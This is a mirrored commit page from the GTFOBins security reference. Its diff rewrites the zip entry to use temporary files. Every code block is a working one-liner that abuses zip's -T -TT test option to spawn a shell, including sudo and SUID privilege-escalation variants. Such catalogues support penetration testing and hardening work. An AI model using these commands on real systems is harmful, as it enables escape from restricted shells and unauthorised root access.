mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Use temporary files in zip functions
This commit is contained in:
parent
a68ef39e30
commit
0ba5df0cb9
@ -2,14 +2,17 @@
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: |
|
||||
zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
rm /tmp/x.zip
|
||||
TF=$(mktemp -u)
|
||||
zip $TF /etc/hosts -T -TT 'sh #'
|
||||
rm $TF
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
sudo rm /tmp/x.zip
|
||||
TF=$(mktemp -u)
|
||||
sudo zip $TF /etc/hosts -T -TT 'sh #'
|
||||
sudo rm $TF
|
||||
suid-limited:
|
||||
- code: |
|
||||
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||
sudo rm /tmp/x.zip
|
||||
TF=$(mktemp -u)
|
||||
./zip $TF /etc/hosts -T -TT 'sh #'
|
||||
sudo rm $TF
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user